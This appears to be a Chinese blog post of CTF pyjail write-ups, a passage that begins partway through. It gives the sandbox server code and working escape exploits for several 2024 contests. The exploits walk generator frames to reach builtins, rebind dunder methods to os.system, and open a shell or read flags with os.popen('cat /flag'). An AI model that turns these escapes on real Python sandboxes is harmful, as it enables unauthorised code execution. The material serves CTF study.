257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863"):
    print("Correct!", end="")
else:
    print("Wrong!", end="")
  • exp.py
factorization = lambda x:("1", "2")
def int(n):
    if n == "1":
        return 1e6
    elif n == "2":
        return 1e6
    else:
        return 1e12
# 通过帧对象获取外层全局变量
c = [a:=[],a.append([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]]
d = c[-1][0]["_""_builtins_""_"]
d.setattr(d, "int", int)

"""
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
"""

VNCTF 2024 pyjail

  • server.py
black_list = [
    'import',
    'getattr',
    'setattr',
    'delattr',
    'eval',
    'exec',
    'global',
    'local',
    'builtin',
    'input',
    'compile',
    'help',
    'breakpoint',
    'license',
    'byte',
    '.',
    '[',
    '+',
    '#',
    '\'',
    '"',
    '{']
 
 
def check_ascii(code):
    assert code.isascii()
 
 
def check_black_list(code):
    for item in black_list:
        assert item not in code, f'bad: {item}'
 
 
if __name__ == '__main__':
    code = """
 
"""
 
    check_ascii(code)
    check_black_list(code)
    try:
        exec(code)
    except BaseException as e:
        print('Exception!', e)
  • exp.py
x = vars()
 
# tuple 的 method 合并至vars()
x |= vars(tuple)
 
# 注意有个 ,
l = *(y for y in list(vars()) if chr(98) in y),
# l = ("__builtins__", "__getattribute__")
 
# 通过索引获取 "__builtins__"
b = __getitem__(l, 0)
# 调用 tuple.__getitem__ 取到字符串 "__builtins__"
 
# dict 的 method 合并至 vars(),其中 tuple 与 dict 都含有名为 __getitem__ 的方法,此时原本 tuple.__getitem__ 被覆盖为 dict.__getitem__
x |= vars(dict)
 
# 参数类型发生变化,通过 "__builtins__" 获取 __builtins__
bu = __getitem__(vars(), b)
 
# 注意有个 ,
l = *(y for y in list(vars(bu)) if chr(98) in y and chr(97) in y and chr(112) in y and chr(75) not in y),
# l = ("breakpoint")
 
# dict.__getitem__ 覆盖为 tuple.__getitem__
x |= vars(tuple)
 
# 获取 "breakpoint"
brs = __getitem__(l, 0)
 
# tuple.__getitem__ 覆盖为 dict.__getitem__
x |= vars(dict)
 
# 获取 breakpoint
br = __getitem__(vars(bu), brs)
br()

NKCTF 2024 ex1t

  • server.py
import sys
from tempfile import NamedTemporaryFile
import atexit
import os
WELCOME = '''
           __ _   
          /_ | |  
   _____  _| | |_ 
  / _ \ \/ / | __|
 |  __/>  <| | |_ 
  \___/_/\_\_|\__|
                  
'''
CODE = '''
exit(0)
print("Try to find flag!")
'''
print(WELCOME)
print("Enter your code > ")
my_input = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--NKCTF2024"):
    break
  my_input += line
while "'''" in my_input:
    my_input = my_input.replace("'''", '')
if len(my_input) > 30:
    print('Input is too long')
    quit()
comment_string = "'''\n" + my_input + "\n'''"
code = comment_string + CODE
with NamedTemporaryFile("wt", suffix=".py", delete=False, encoding="utf-8") as f:
    f.write(code)
    tmp_filename = f.name
atexit.register(os.remove, tmp_filename)
os.system('python3 '+tmp_filename)
from pwn import *
context.log_level="debug"
io = remote("ip", port)
io.recvuntil("> ")
payload = b"''\x00\n';breakpoint()\n''\x00\n'\n--NKCTF2024\n\n"
io.send(payload)
io.interactive()

CISCN 2024 mossfern

  • server.py
def source_simple_check(source):
    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()


def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            print((event + "".join(str(s) for s in args)).lower())
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit


def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()


if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"./test.py", "r").read()
    source_simple_check(source)
    source_opcode_checker(source)
    code = compile(source, "<sandbox>", "exec")
    addaudithook(block_wrapper())
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)
  • exp.py
builtins = [a:=[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]][-1][0]["_""_builtins_""_"]
eval = builtins.eval
flag = eval("_""_import_""_('os').popen('cat /flag').read()", {"_""_builtins_""_": builtins})
print(flag[::-1])
// Bypass LOAD_GLOBAL
def test():
    a = (a.gi_frame.f_back.f_back for _ in [1])
    a = [i for i in a][0].f_back.f_back.f_globals["_""_builtins_""_"]
test()

矩阵杯 2024 What_can_i_say

  • server过滤部分特殊字符,限制长度,删除builtins,必须包含what.can.i.say
try:what=1;what.can.i.say
except:
 try:().classImroIsubclassesIinitIglobalsIbuiltinsIsysItropmiIrunsboxIopenIevalI5f2e7b7d2f27
 except Exception as a:a=a.name;I=a[5];c,m,s,i,g,t,y,p,r,f,v,h=a.split(I);u,d,z,x,l,q=a.encode().fromhex(h).decode();n=u*2;p=p[::-1]
try:(z+I+d+n+c+n+d+n+m+n+d+y+x).format(I=[])
except Exception as e:o=e.obj[1]
try:(z+I+d+n+s+n+d+y+x).format(I=o)
except Exception as e:o=e.obj()[140]
try:(z+I+d+n+i+n+d+n+g+n+d+y+x).format(I=o)
except Exception as e:b=e.obj[n+t+n];y=b[n+p+n](y);r=b[v](q+b[f](r+l+u+r[:3]+u).read().split(q)[1]+q);y.stdout.write(r);y.stderr.write(r)

UIUCTF 2024 Astea

  • server.py,简单分析得知禁用import和有参函数调用,尝试调用无参函数breakpoint
import ast

def safe_import():
  print("Why do you need imports to make tea?")

def safe_call():
  print("Why do you need function calls to make tea?")

class CoolDownTea(ast.NodeTransformer):
  def visit_Call(self, node: ast.Call) -> ast.AST:
    return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
  
  def visit_Import(self, node: ast.AST) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
  
  def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
  
  def visit_Assign(self, node: ast.Assign) -> ast.AST:
    return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
  
  def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
    return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
  
code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]

cup = ast.parse(code)
cup = CoolDownTea().visit(cup)
ast.fix_missing_locations(cup)

exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})
  • exp.py,通过查看文档,得知breakpoint实际上调用无参函数pdb.set_trace,通过helppdb类引入环境,通过__subclasses__获取到pdb.set_trace
safe_call:() = ''.__class__.__base__.__subclasses__;cls:() = safe_call();sys:() = [ x.__init__.__globals__ for x in cls if x.__name__=="_wrap_close"][0];hlp:() = sys['__builtins__']['help'];safe_call:() = hlp;safe_call()
pdb
chal
safe_call:() = ''.__class__.__base__.__subclasses__;cls:() = safe_call();safe_call:() = [ x for x in cls if x.__name__=="Bdb"][0].__subclasses__;safe_call:() = safe_call()[1].__init__.__globals__['set_trace'];safe_call()
[i.__init__.__globals__ for i in ''.__class__.__base__.__subclasses__() if i.__name__ == '_wrap_close'][0]['system']('sh')
cat flag.txt

过滤括号调用函数

  • 通过覆盖魔法方法调用函数
from os import system
help.__class__.__getattribute__ = system
help.calc
  • __builtins__中,类似、可操作的对象还有
help
quit
license
exit
credits
copyright
  • 通常为了执行命令,最好是覆盖为只有一个参数并且方便可控的魔法方法
from os import system


help.__class__.__delattr__ = system
del help.calc
help.__class__.__eq__ = system
help == "calc"
help.__class__.__ge__ = system
help >= "calc"
help.__class__.__gt__ = system
help > "calc"
help.__class__.__le__ = system
help <= "calc"
help.__class__.__lt__ = system
help < "calc"
help.__class__.__ne__ = system
help != "calc"
help.__class__.__getattribute__ = system
help.calc
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇